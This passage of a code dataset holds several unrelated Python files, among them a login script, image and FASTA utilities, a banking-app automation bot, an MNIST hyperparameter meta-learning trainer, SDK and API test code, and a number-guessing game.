girisKul == kullaniciAdi and girisSifre == sifre:\n print(\"Kullanici adi ve sifre doğru\")\n elif girisKul != kullaniciAdi and girisSifre != sifre:\n print(\"Kullanıcı adı ve şifre uyuşmuyor\")\n elif girisKul == kullaniciAdi and girisSifre != sifre:\n print(\"Şifre uyuşmuyor\")\n elif girisKul != kullaniciAdi and girisSifre == sifre:\n print(\"Kullanıcı adı uyusmuyor\")\n\n \nif tercih == \"G\" or tercih == \"g\":\n girisYap()\n \n#Kayit Olma kodu!!!\nif tercih == \"K\" or tercih == \"k\":\n ### KULLANICI ADI OLUŞTURMA #####\n kayitKul = input(\"Kullanici Adı: \" )\n if kayitKul != \"\":\n kullaniciAdi = kayitKul #### yeni bir kullanıcı adı oluşturduk ve bunu kullanici(k1) adına eşitledik\n print(kullaniciAdi) #### bu sayede giriş yaparken k1'i kullanarak daha doğru bir sistem yapmış olucaz.\n elif kayitKul == \"\":\n print(\"Kullanici Adı bos bırakılamaz\") ### Kullanıcı adı boş bırakılamaz!!!!\n \n ### ŞİFRE OLUŞTURMA ####\n kayitSif = input(\"Şifre: \" )\n if kayitSif != \"\":\n sifre = kayitSif\n print(sifre)\n elif kayitSif == \"\":\n print(\"Şifre boş bırakılamaz\")\n \n ###KAYIT OLUŞTURULDU#######\n if kayitKul != \"\" and kayitSif != \"\":\n print(\"Hesabınız oluşturuldu!\")\n kontrol()\n elif kayitKul == \"\" and kayitSif == \"\":\n print(\"Hesabınız oluşturulamadı\")\nelif tercih == \"\" or tercih != \"K\" or tercih != \"k\" or tercih != \"G\" or tercih != \"g\":\n print(\"Geçersiz islem\")\n","sub_path":"Python Proje/kullanicikayitgiris.py","file_name":"kullanicikayitgiris.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"303971304","text":"\n# coding: utf-8\n\n\"\"\"\nOperações sobre ficheiros:\nwrite_image_to_file - Escrita de imagem em ficheiro\nread_image_from_file - Leitura de imagem a partir de ficheiro\n\"\"\" \n\n# Importação de definições\nimport defines\n\n\n\ndef write_image_to_file(dimensao_x,dimensao_y,imagem):\n \n \"\"\"Escreve imagem em ficheiro no formato PPM\n Argumentos: Dimensão X, dimensão y, lista com a imagem\n Devolve: Indicação de actualização, dimensão X, dimensão Y, lista com a imagem\"\"\"\n \n # Abertura de ficheiro para escrita de imagem\n ficheiro_out = raw_input(\"Indique caminho/nome para ficheiro de imagem a gravar: \")\n f_out = open(ficheiro_out,'w') \n \n # Escreve a primeira linha (P3)\n f_out.write(\"P3\\n\")\n \n # Escreve a segunda linha (comentario de criação)\n f_out.write(\"# CREATOR: IPRP Image Manipulation Program Version 0.9\\n\")\n \n # Escreve tamanho da imagem\n f_out.write(str(dimensao_x)+\" \"+str(dimensao_y)+'\\n')\n \n # Escreve o valor maximo de cor\n f_out.write(\"255\\n\")\n \n # Escreve no resto do ficheiro os valores RGB dos pixeis\n for y in range (dimensao_y):\n for x in range (dimensao_x):\n f_out.write(str(imagem[y*dimensao_x+x][0])+'\\n')\n f_out.write(str(imagem[y*dimensao_x+x][1])+'\\n')\n f_out.write(str(imagem[y*dimensao_x+x][2])+'\\n')\n \n # Ficheiro com imagem já pode ser fechado\n f_out.close()\n \n return defines.NAO_ACTUALIZA,dimensao_x,dimensao_y,imagem\n\n\ndef read_image_from_file(dimensao_x,dimensao_y,imagem):\n \n \"\"\"Le imagem no formato PPM a partir de ficheiro\n Argumentos: Dimensão X, dimensão y, lista com a imagem\n Devolve: Indicação de actualização, dimensão X, dimensão Y, lista com a imagem\"\"\"\n \n # Abertura de ficheiro para leitura de imagem para memoria\n ficheiro_in = raw_input(\"Indique nome do ficheiro com a imagem no formato PPM: \")\n f_obj = open(ficheiro_in,'r') \n \n # Ignora a primeira linha (P3)\n f_obj.readline()\n # Ignora a segunda linha (comentario de criacao)\n f_obj.readline()\n # Le tamanho da imagem\n dimensao = f_obj.readline().split()\n dim_x = int(dimensao[0])\n dim_y = int(dimensao[1])\n # Le o valor maximo de cor (ignorado para ja')\n f_obj.readline()\n # O resto do ficheiro contem os valores RGB dos pixeis\n imagem=[]\n while True:\n one_more_r= f_obj.readline().rstrip('\\n')\n one_more_g= f_obj.readline().rstrip('\\n')\n one_more_b= f_obj.readline().rstrip('\\n')\n if len(one_more_r) == 0:\n break # EOF\n else:\n r=int(one_more_r)\n g=int(one_more_g)\n b=int(one_more_b)\n imagem.append([r,g,b])\n \n # Ficheiro com imagem ja' pode ser fechado\n f_obj.close()\n \n return defines.ACTUALIZA,dim_x,dim_y,imagem\n\n\n\n# Devolve informação acerca do módulo se chamado individualmente\ndef main():\n print (\"Informação acerca da utilização deste módulo:\")\n print (__doc__)\n \nif __name__ == '__main__':\n main()\nelse:\n print (\"file_ops loaded as a module\")","sub_path":"visoes_2/programas/Projecto/programas/file_ops.py","file_name":"file_ops.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"499423354","text":"\nlabelH=''\nlabelL=''\nwith open(\"H.fasta\") as f1, open(\"L.fasta\") as f2, open(\"combined_sequences.fasta\", \"w\") as outfile:\n f1=f1.readlines()\n f2=f2.readlines()\n\n for line1 in f1:\n if len(line1)<5:\n labelH = line1[1:]\n continue\n else:\n seq1 = line1\n for line2 in f2:\n if len(line2)<5:\n labelL = line2[1:]\n continue\n else:\n seq2 =line2\n outfile.write(labelH+labelL + \"\\n\")\n outfile.write(seq1 + seq2 + \"\\n\")","sub_path":"job-json,xml,csv/思源/6/合并2.py","file_name":"合并2.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"512295537","text":"from pymongo import MongoClient\r\nimport json\r\n\r\n\r\nclass ImageData:\r\n client = MongoClient(\"mongodb+srv://Wen:[PASSWORD]@cluster0-gvhmp.mongodb.net/test?retryWrites=true&w=majority\")\r\n collection = client.interview.users\r\n\r\n good_emotion_count = 0\r\n bad_emotion_count = 0\r\n smile_count = 0\r\n n_count = 0\r\n sunglasses = False # only checks first frame for sunglasses, stores it in this variable\r\n _sunglass_check = False # ignore this\r\n\r\n @staticmethod\r\n def get_img_data():\r\n global collection, smile_count, good_emotion_count, bad_emotion_count, sunglasses, _sunglass_check, n_count\r\n pose_roll = 0\r\n pose_yaw = 0\r\n pose_pitch = 0\r\n n = 0\r\n for obj in collection.find():\r\n n += 1\r\n if not ImageData._sunglass_check:\r\n if obj['FaceDetails'][0]['Sunglasses']['Value']:\r\n sunglasses = True\r\n _sunglass_check = True\r\n smile = obj['FaceDetails'][0]['Smile']\r\n if smile['Value']:\r\n smile_count += smile['Confidence']\r\n else:\r\n smile_count -= smile['Confidence']\r\n\r\n pose = obj['FaceDetails']['Pose']\r\n\r\n pose_roll += pose['Roll']\r\n pose_pitch += pose['Pitch']\r\n pose_yaw += pose['Yaw']\r\n\r\n emot = obj['FaceDetails'][0]['Emotions']\r\n if emot[0]['Type'] == 'HAPPY' or emot[0]['Type'] == 'CALM':\r\n ImageData.good_emotion_count += emot[0]['Confidence']\r\n else:\r\n ImageData.bad_emotion_count += emot[0]['Confidence']\r\n n_count += 1\r\n\r\n mydict = {'smile': smile_count,\r\n 'pose_roll': pose_roll / n,\r\n 'pose_pitch': pose_pitch / n,\r\n 'pose_yaw': pose_yaw / n,\r\n 'good_emotion': good_emotion_count,\r\n 'bad_emotion': bad_emotion_count}\r\n\r\n return json.dumps(mydict)\r\n","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"339621275","text":"import uiautomator2 as u2\nimport settings\nimport time\nfrom models import Transferee\nfrom api import status\nfrom settings import Status\n\n\nclass BotFactory:\n\n def __init__(self):\n # settings.bot.device = u2.connect('RR8M90JGAXR')\n settings.bot.device = u2.connect('0.0.0.0')\n module = __import__(\"bots.%s\" % settings.bot.bank.lower())\n robot = getattr(module, settings.bot.bank.lower())\n self.bank = robot\n settings.bot.pid = self.bank.start()\n print(\"您的银行应用已经由脚本接管\")\n status(settings.bot.serial_no, Status.RUNNING.value)\n self.works_list = []\n self.alive = True\n # self.wait_trans = False\n self.trans_process = False\n self.wait_msg = True\n\n def do_works(self):\n self.bank.remove_float_win()\n while self.alive:\n time.sleep(10)\n res = status(settings.bot.serial_no, Status.RUNNING.value)\n for work in self.works_list:\n print(work)\n if len(self.works_list) > 0:\n print(\"正在为您执行转账任务,请耐心等待...\")\n self.cast_do_transfer(self.works_list.pop(0))\n\n def cast_do_transfer(self, trans):\n if settings.bot.pid == 0:\n settings.bot.pid = self.bank.start()\n if not settings.bot.pid:\n print('app出错了')\n return False\n else:\n self.bank.transfer(trans)\n else:\n self.bank.do_transfer(trans)\n\n def cast_transaction_history(self):\n if settings.bot.pid == 0:\n settings.bot.pid = self.bank.start()\n if not settings.bot.pid:\n print('app没有打开')\n else:\n self.bank.transaction_history()\n else:\n self.bank.do_transaction()\n\n def cast_post_sms(self, params):\n print(\"已经收到短信,准备为您填充手机验证码\")\n self.bank.post_sms(params)\n\n def cast_stop(self):\n self.alive = False\n status(settings.bot.serial_no, Status.STOP.value)\n self.bank.stop()\n\n def cast_transfer(self, order_id, amount, account, holder, bank_name):\n self.works_list.append(Transferee(order_id, amount, account, holder, bank_name))\n\n def do_verify_code(self, code):\n self.bank.post_verify_code(code)\n","sub_path":"bot_factory.py","file_name":"bot_factory.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"566208826","text":"import os, sys, math, argparse, time\nimport torch\nimport torch.optim as optim\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\nfrom copy import copy\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom metaopt.optimizer import SGD_Multi_LR, SGD_Quotient_LR\nfrom itertools import product, cycle\nimport pickle\n\nfrom mlp import * \nfrom metaopt.util import *\nfrom metaopt.util_ml import *\n\nTRAIN=0\nVALID=1\nTEST =2\n\n#torch.manual_seed(3)\nifold=0\nRNG = np.random.RandomState(ifold)\n\n\"\"\"parsing and configuration\"\"\"\ndef parse_args():\n desc = \"Pytorch implementation of DVAE collections\"\n parser = argparse.ArgumentParser(description=desc)\n\n\n parser.add_argument('--dataset', type=str, default='mnist', choices=['mnist', 'fmnist'],\n help='The name of dataset')\n parser.add_argument('--num_epoch', type=int, default=100, help='The number of epochs to run')\n parser.add_argument('--batch_size', type=int, default=100, help='The size of batch')\n parser.add_argument('--batch_size_vl', type=int, default=100, help='The size of validation batch')\n parser.add_argument('--result_dir', type=str, default='results',\n help='Directory name to save the generated images')\n parser.add_argument('--log_dir', type=str, default='logs',\n help='Directory name to save training logs')\n parser.add_argument('--model_type', type=str, default='mlp',help=\"'mlp' | 'amlp'\")\n parser.add_argument('--opt_type', type=str, default='sgd', help=\"'sgd' | 'sgld'\")\n parser.add_argument('--xdim', type=float, default=784)\n parser.add_argument('--hdim', type=float, default=128)\n parser.add_argument('--ydim', type=float, default=10)\n parser.add_argument('--num_hlayers', type=int, default=3)\n parser.add_argument('--lr', type=float, default=1e-3)\n parser.add_argument('--mlr', type=float, default=1e-4)\n parser.add_argument('--lambda_l1', type=float, default=1e-4)\n parser.add_argument('--lambda_l2', type=float, default=1e-4)\n parser.add_argument('--update_freq', type=int, default=1)\n parser.add_argument('--reset_freq', type=int, default=-0)\n parser.add_argument('--beta1', type=float, default=0.9)\n parser.add_argument('--beta2', type=float, default=0.999)\n parser.add_argument('--valid_size', type=int, default=10000)\n parser.add_argument('--checkpoint_freq', type=int, default=10)\n parser.add_argument('--is_cuda', type=int, default=0)\n parser.add_argument('--save', type=int, default=0)\n parser.add_argument('--save_dir', type=str, default='/scratch/ji641/imj/')\n\n return check_args(parser.parse_args())\n\n\n\ndef load_mnist(args):\n\n ## Initialize Dataset\n dataset = datasets.MNIST('data/mnist', train=True, download=True,\n transform=transforms.Compose(\n [transforms.ToTensor()]))\n train_set, valid_set = torch.utils.data.random_split(dataset,[60000 - args.valid_size, args.valid_size])\n\n\n data_loader_tr = DataLoader(train_set, batch_size=args.batch_size, shuffle=True)\n data_loader_vl = DataLoader(valid_set, batch_size=args.batch_size_vl, shuffle=True)\n data_loader_te = DataLoader(datasets.MNIST('data/mnist', train=False, download=True,\n transform=transforms.Compose(\n [transforms.ToTensor()])),\n batch_size=args.batch_size, shuffle=True)\n\n data_loader_vl = cycle(data_loader_vl)\n dataset = [data_loader_tr, data_loader_vl, data_loader_te]\n return dataset\n\n\ndef main(args, ifold=0, trial=0, quotient=None, device='cuda', is_cuda=1):\n\n dataset = load_mnist(args)\n\n ## Initialize Model and Optimizer\n hdims = [args.xdim] + [args.hdim]*args.num_hlayers + [args.ydim]\n num_layers = args.num_hlayers + 2\n if args.model_type == 'amlp':\n model = AMLP(num_layers, hdims, args.lr, args.lambda_l2, is_cuda=is_cuda)\n optimizer = SGD_Multi_LR(model.parameters(), lr=args.lr, weight_decay=args.lambda_l2)\n elif args.model_type == 'qmlp':\n model = QMLP(num_layers, hdims, args.lr, args.lambda_l2, quotient=quotient, is_cuda=is_cuda)\n optimizer = SGD_Quotient_LR(model.parameters(), lr=args.lr, weight_decay=args.lambda_l2, quotient=quotient)\n elif args.model_type == 'mlp_drop':\n model = MLP_Drop(num_layers, hdims, args.lr, args.lambda_l2, is_cuda=is_cuda)\n optimizer = optim.SGD(model.parameters(), lr=args.lr, weight_decay=args.lambda_l2)\n else:\n model = MLP(num_layers, hdims, args.lr, args.lambda_l2, is_cuda=is_cuda)\n optimizer = optim.SGD(model.parameters(), lr=args.lr, weight_decay=args.lambda_l2)\n print('Model Type: %s Opt Type: %s Update Freq %d Reset Freq %d' \\\n % (args.model_type, args.opt_type, args.update_freq, args.reset_freq))\n \n os.makedirs('%s/exp/mnist/' % args.save_dir, exist_ok=True)\n os.makedirs('%s/exp/mnist/mlr%f_lr%f_l2%f/' % (args.save_dir, args.mlr, args.lr, args.lambda_l2), exist_ok=True)\n fdir = '%s/exp/mnist/mlr%f_lr%f_l2%f/%s_%depoch_%dvlbz_%s_%dupdatefreq_%dresetfreq_fold%d/' \\\n % (args.save_dir, args.mlr, args.lr, args.lambda_l2, args.model_type, args.num_epoch, args.batch_size_vl, args.opt_type, args.update_freq, args.reset_freq, ifold)\n if quotient is not None:\n fdir = fdir.rstrip('/') + '_quotient%d/' % quotient\n\n os.makedirs(fdir, exist_ok=True)\n os.makedirs(fdir+'/checkpoint/', exist_ok=True)\n args.fdir = fdir\n print(args.fdir)\n ## Train \n Wn_list, l2_list, lr_list, dFdlr_list, dFdl2_list, gang_list, tr_epoch, vl_epoch, te_epoch,\\\n tr_acc_list, te_acc_list, tr_loss_list, vl_loss_list, te_loss_list,\\\n tr_corr_mean_list, tr_corr_std_list \\\n = train(args, dataset, model, optimizer, is_cuda=is_cuda)\n\n if args.save:\n os.makedirs(fdir, exist_ok=True)\n np.save(fdir+'Wn', Wn_list)\n np.save(fdir+'lr', lr_list)\n np.save(fdir+'l2', l2_list)\n np.save(fdir+'gang_list', gang_list)\n np.save(fdir+'dFdlr_list', dFdlr_list)\n np.save(fdir+'dFdl2_list', dFdl2_list)\n np.save(fdir+'tr_epoch', tr_epoch)\n np.save(fdir+'vl_epoch', vl_epoch)\n np.save(fdir+'te_epoch', te_epoch)\n np.save(fdir+'tr_loss', tr_loss_list)\n np.save(fdir+'vl_loss', vl_loss_list)\n np.save(fdir+'te_loss', te_loss_list)\n np.save(fdir+'tr_acc', tr_acc_list)\n np.save(fdir+'te_acc', te_acc_list)\n np.save(fdir+'tr_grad_corr_mean', tr_corr_mean_list)\n np.save(fdir+'tr_grad_corr_std', tr_corr_std_list)\n\n print('Final test loss %f' % te_loss_list[-1])\n print(type(te_loss_list[-1]))\n return te_loss_list[-1]\n\n\ndef train(args, dataset, model, optimizer, saveF=0, is_cuda=1):\n\n counter = 0\n lr_list, l2_list = [], []\n dFdlr_list, dFdl2_list, Wn_list, gang_list = [], [], [], []\n tr_epoch, tr_loss_list, tr_acc_list = [], [], []\n vl_epoch, vl_loss_list, vl_acc_list = [], [], []\n te_epoch, te_loss_list, te_acc_list = [], [], []\n tr_corr_mean_list, tr_corr_std_list = [], []\n optimizer = update_optimizer_hyperparams(args, model, optimizer)\n\n start_time0 = time.time()\n for epoch in range(args.num_epoch+1):\n if epoch % 10 == 0:\n te_losses, te_accs = [], []\n for batch_idx, (data, target) in enumerate(dataset[TEST]):\n data, target = to_torch_variable(data, target, is_cuda, floatTensorF=1)\n\n _, loss, accuracy, _, _, _ = feval(data, target, model, optimizer, mode='eval', is_cuda=is_cuda)\n te_losses.append(loss)\n te_accs.append(accuracy)\n te_epoch.append(epoch)\n te_loss_list.append(np.mean(te_losses))\n te_acc_list.append(np.mean(te_accs))\n \n print('Valid Epoch: %d, Loss %f Acc %f' % \n (epoch, np.mean(te_losses), np.mean(te_accs)))\n\n\n grad_list = []\n start_time = time.time()\n for batch_idx, (data, target) in enumerate(dataset[TRAIN]):\n\n data, target = to_torch_variable(data, target, is_cuda)\n opt_type = args.opt_type\n #if epoch > args.num_epoch * 0.1 and args.opt_type == 'sgld':\n # opt_type = args.opt_type\n #else:\n # opt_type = 'sgd'\n model, loss, accuracy, output, noise, grad_vec = feval(data, target, model, optimizer, \\\n is_cuda=is_cuda, mode='meta-train', opt_type=opt_type)\n tr_epoch.append(counter)\n tr_loss_list.append(loss)\n tr_acc_list.append(accuracy)\n grad_list.append(grad_vec)\n\n if args.reset_freq > 0 and counter % args.reset_freq == 0:\n model.reset_jacob() \n\n if counter % args.update_freq == 0 and args.mlr != 0.0:\n data_vl, target_vl = next(dataset[VALID])\n data_vl, target_vl = to_torch_variable(data_vl, target_vl, is_cuda)\n model, loss_vl, optimizer = meta_update(args, data_vl, target_vl, data, target, model, optimizer, noise)\n vl_epoch.append(counter)\n vl_loss_list.append(loss_vl.item())\n\n counter += 1 \n #grad_list = np.asarray(grad_list) \n corr_mean, corr_std = compute_correlation(grad_list, normF=1)\n tr_corr_mean_list.append(corr_mean)\n tr_corr_std_list.append(corr_std)\n grad_list = np.asarray(grad_list)\n\n end_time = time.time()\n if epoch == 0: print('Single epoch timing %f' % ((end_time-start_time) / 60))\n\n\n if epoch % args.checkpoint_freq == 0:\n os.makedirs(args.fdir+ '/checkpoint/', exist_ok=True)\n save(model, args.fdir+ '/checkpoint/epoch%d' % epoch) \n\n\n fprint = 'Train Epoch: %d, Tr Loss %f Vl loss %f Acc %f Eta %s, L2 %s, |dFdlr| %.2f |dFdl2| %.2f |G| %.4f |G_vl| %.4f Gang %.3f |W| %.2f, Grad Corr %f %f'\n print(fprint % (epoch, np.mean(tr_loss_list[-100:]), \\\n np.mean(vl_loss_list[-100:]), \\\n np.mean(tr_acc_list[-100:]), \\\n str(model.eta), str(model.lambda_l2), \\\n model.dFdlr_norm, model.dFdl2_norm,\\\n model.grad_norm, model.grad_norm_vl, \\\n model.grad_angle, model.param_norm, corr_mean, corr_std))\n\n Wn_list.append(model.param_norm)\n dFdlr_list.append(model.dFdlr_norm)\n dFdl2_list.append(model.dFdl2_norm)\n if args.model_type == 'amlp':\n lr_list.append(model.eta.copy())\n l2_list.append(model.lambda_l2.copy())\n else:\n lr_list.append(model.eta)\n l2_list.append(model.lambda_l2)\n gang_list.append(model.grad_angle)\n\n Wn_list = np.asarray(Wn_list)\n l2_list = np.asarray(l2_list)\n lr_list = np.asarray(lr_list)\n dFdlr_list = np.asarray(dFdlr_list)\n dFdl2_list = np.asarray(dFdl2_list)\n tr_epoch = np.asarray(tr_epoch)\n vl_epoch = np.asarray(vl_epoch)\n te_epoch = np.asarray(te_epoch)\n tr_acc_list = np.asarray(tr_acc_list)\n te_acc_list = np.asarray(te_acc_list)\n tr_loss_list = np.asarray(tr_loss_list)\n vl_loss_list = np.asarray(vl_loss_list)\n te_loss_list = np.asarray(te_loss_list)\n gang_list = np.asarray(gang_list)\n tr_corr_mean_list = np.asarray(tr_corr_mean_list)\n tr_corr_std_list = np.asarray(tr_corr_std_list)\n\n return Wn_list, l2_list, lr_list, dFdlr_list, dFdl2_list, gang_list, \\\n tr_epoch, vl_epoch, te_epoch, tr_acc_list, te_acc_list, \\\n tr_loss_list, vl_loss_list, te_loss_list, tr_corr_mean_list, tr_corr_std_list\n\n\ndef feval(data, target, model, optimizer, mode='eval', is_cuda=0, opt_type='sgd', N=50000):\n\n if mode == 'eval':\n model.eval()\n with torch.no_grad():\n output = model(data)\n else:\n model.train()\n optimizer.zero_grad()\n output = model(data)\n \n # Compute Loss\n loss = F.nll_loss(output, target)\n pred = output.argmax(dim=1, keepdim=True).flatten() # get the index of the max log-probability\n accuracy = pred.eq(target).float().mean()\n\n grad_vec = []\n noise = None\n if 'train' in mode:\n loss.backward()\n\n for i,param in enumerate(model.parameters()):\n if opt_type == 'sgld':\n noise = torch.randn(size=param.shape)\n if type(model.eta) == type(np.array([])):\n eps = np.sqrt(model.eta[i]*2/ N) * noise if model.eta[i] > 0 else 0 * noise\n else:\n eps = np.sqrt(model.eta*2/ N) * noise if model.eta > 0 else 0 * noise\n eps = to_torch_variable(eps, is_cuda=is_cuda)\n param.grad.data = param.grad.data + eps.data\n grad_vec.append(param.grad.data.cpu().numpy().flatten())\n\n if 'SGD_Quotient_LR' in str(optimizer):\n optimizer.mlp_step()\n else:\n optimizer.step()\n grad_vec = np.hstack(grad_vec) \n grad_vec = grad_vec / norm_np(grad_vec)\n\n elif 'grad' in mode:\n loss.backward()\n\n return model, loss.item(), accuracy.item(), output, noise, grad_vec\n\n\ndef meta_update(args, data_vl, target_vl, data_tr, target_tr, model, optimizer, noise=None, is_cuda=1):\n \n #Compute Hessian Vector Product\n param_shapes = model.param_shapes\n dFdlr = unflatten_array(model.dFdlr, model.param_cumsum, param_shapes)\n Hv_lr = compute_HessianVectorProd(model, dFdlr, data_tr, target_tr, is_cuda=is_cuda)\n\n dFdl2 = unflatten_array(model.dFdl2, model.param_cumsum, param_shapes)\n Hv_l2 = compute_HessianVectorProd(model, dFdl2, data_tr, target_tr, is_cuda=is_cuda)\n\n model, loss_valid, grad_valid = get_grad_valid(model, data_vl, target_vl, is_cuda)\n #model, loss_valid, grad_valid = get_grad_valid(model, data_tr, target_tr, is_cuda)\n\n #Compute angle between tr and vl grad\n grad = flatten_array(get_grads(model.parameters(), is_cuda)).data\n param = flatten_array(model.parameters())#.data.cpu().numpy()\n model.grad_norm = norm(grad)\n model.param_norm = norm(param)\n grad_vl = flatten_array(grad_valid)\n model.grad_angle = torch.dot(grad / model.grad_norm, grad_vl / model.grad_norm_vl).item()\n\n #Update hyper-parameters \n model.update_dFdlr(Hv_lr, param, grad, is_cuda, noise=noise)\n model.update_eta(args.mlr, val_grad=grad_valid)\n param = flatten_array_w_0bias(model.parameters()).data\n model.update_dFdlambda_l2(Hv_l2, param, grad, is_cuda)\n model.update_lambda(args.mlr*0.01, val_grad=grad_valid)\n\n #Update optimizer with new eta\n optimizer = update_optimizer_hyperparams(args, model, optimizer)\n\n return model, loss_valid, optimizer\n\n\ndef get_grad_valid(model, data, target, is_cuda):\n\n val_model = deepcopy(model)\n val_model.train()\n \n output = val_model(data)\n loss = F.nll_loss(output, target)\n loss.backward()\n grads = get_grads(val_model.parameters(), is_cuda)\n model.grad_norm_vl = norm(flatten_array(grads))\n \n return model, loss, grads\n\n\ndef update_optimizer_hyperparams(args, model, optimizer):\n\n optimizer.param_groups[0]['lr'] = np.copy(model.eta)\n optimizer.param_groups[0]['weight_decay'] = model.lambda_l2\n\n return optimizer\n\n\nif __name__ == '__main__':\n\n args = parse_args()\n is_cuda = args.is_cuda\n main(args, ifold=ifold)\n\n\n\n","sub_path":"metaopt/mnist/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"291245796","text":"# coding=utf8\n\n# Copyright 2018 JDCLOUD.COM\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# NOTE: This class is auto generated by the jdcloud code generator program.\n\n\nclass InstanceNetworkInterface(object):\n\n def __init__(self, networkInterfaceId=None, macAddress=None, vpcId=None, description=None, securityGroups=None, sanityCheck=None, primaryIp=None, secondaryIps=None):\n \"\"\"\n :param networkInterfaceId: (Optional) 弹性网卡ID\n :param macAddress: (Optional) 以太网地址\n :param vpcId: (Optional) 虚拟网络ID\n :param description: (Optional) 描述\n :param securityGroups: (Optional) 安全组列表\n :param sanityCheck: (Optional) 源和目标IP地址校验,取值为0或者1\n :param primaryIp: (Optional) 网卡主IP\n :param secondaryIps: (Optional) null\n \"\"\"\n\n self.networkInterfaceId = networkInterfaceId\n self.macAddress = macAddress\n self.vpcId = vpcId\n self.description = description\n self.securityGroups = securityGroups\n self.sanityCheck = sanityCheck\n self.primaryIp = primaryIp\n self.secondaryIps = secondaryIps\n","sub_path":"jdcloud_sdk/services/nc/models/InstanceNetworkInterface.py","file_name":"InstanceNetworkInterface.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"636657084","text":"import datetime\n\nfrom tkapi.verslag import VerslagAlgemeenOverleg\n\nfrom .core import TKApiTestCase\nfrom tkapi.verslag import Verslag\nfrom tkapi.info import get_verslag_soorten\n\n\nclass TestVerslag(TKApiTestCase):\n n_items = 10\n\n def test_get_verslag(self):\n uid = '28f7d21d-79f1-4591-a0f7-64bb13996a05'\n verslag = self.api.get_item(Verslag, id=uid)\n self.assertEqual('Eindpublicatie', verslag.soort)\n self.assertEqual('Gecorrigeerd', verslag.status)\n self.assertIsNotNone(verslag.vergadering)\n\n def test_get_verslagen(self):\n verslagen = self.api.get_verslagen(max_items=self.n_items)\n self.assertEqual(self.n_items, len(verslagen))\n\n def test_verslag_filter_soort(self):\n soort = 'Eindpublicatie'\n filter = Verslag.create_filter()\n filter.filter_soort(soort)\n verslagen = self.api.get_verslagen(filter=filter, max_items=self.n_items)\n self.assertEqual(self.n_items, len(verslagen))\n for verslag in verslagen:\n self.assertEqual(soort, verslag.soort)\n\n # def test_get_soorten(self):\n # soorten = get_verslag_soorten()\n # for soort in soorten:\n # print(soort)\n\n\nclass TestVerslagAlgemeenOverleg(TKApiTestCase):\n\n def test_get_verslagen_algemeen_overleg(self):\n start_datetime = datetime.datetime(year=2015, month=1, day=1)\n end_datetime = datetime.datetime(year=2015, month=1, day=20)\n v_filter = VerslagAlgemeenOverleg.create_filter()\n v_filter.filter_date_range(start_datetime, end_datetime)\n verslagen = self.api.get_verslagen_van_algemeen_overleg(v_filter)\n print('verslagen found:', len(verslagen))\n self.assertEqual(13, len(verslagen))\n for verslag in verslagen:\n print(verslag.onderwerp)\n if verslag.kamerstuk:\n print(str(verslag.kamerstuk.dossier.vetnummer) + ', ' + str(verslag.kamerstuk.ondernummer))\n print(verslag.document_url)\n # print(verslag.document_url)\n # verslag.kamerstuk.print_json()\n # print(verslag.dossier.titel)\n # for zaak in verslag.zaken:\n # zaak.print_json()\n # print(zaak)\n # for commissie in zaak.voortouwcommissies:\n # print(commissie.naam)\n # for activiteit in verslag.activiteiten:\n # verslag.print_json()\n # print(activiteit.begin.isoformat())\n # print(activiteit.einde.isoformat())\n","sub_path":"tests/test_verslag.py","file_name":"test_verslag.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"210173965","text":"\n\n#calss header\nclass _POACHER():\n\tdef __init__(self,): \n\t\tself.name = \"POACHER\"\n\t\tself.definitions = [u'someone who catches and kills animals illegally', u'in football, a forward who scores a lot goals from a position close to the goal']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_poacher.py","file_name":"_poacher.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"430966349","text":"import random\r\nimport time\r\n\r\nstart_time = time.time() # We use time function to record the starting time.\r\nrandom_number = random.randint(1, 100) # We use random function to get a random number.\r\n\r\n\r\ndef guessing_game():\r\n while True: # We use a while loop to continue until the user guesses the number correctly.\r\n number = int(input('Please enter a number between 1-100: ')) # We take input from the user.\r\n if number == random_number: # If the user guesses the number correctly, the program ends.\r\n print('Congrats! You have guessed the number correctly')\r\n break\r\n if abs(number - random_number) <= 5: # If the difference between the guess and random number is equal to or\r\n # lower than 5, we warn the user that s/he is close.\r\n print('It is warm! Try again.')\r\n # If the difference is higher, then we warn the user that s/he should make a better guess.\r\n elif abs(number - random_number) > 5 and number > random_number:\r\n print('Your guess is too high.')\r\n elif abs(number - random_number) > 5 and number < random_number:\r\n print('Your guess is too low.')\r\n\r\n\r\nguessing_game() # We put the function here to initiate the program.\r\nend_time = time.time() # # We use time function to record the ending time.\r\nprint(f'You have guessed the number in {end_time-start_time:.2f} seconds') # We print the 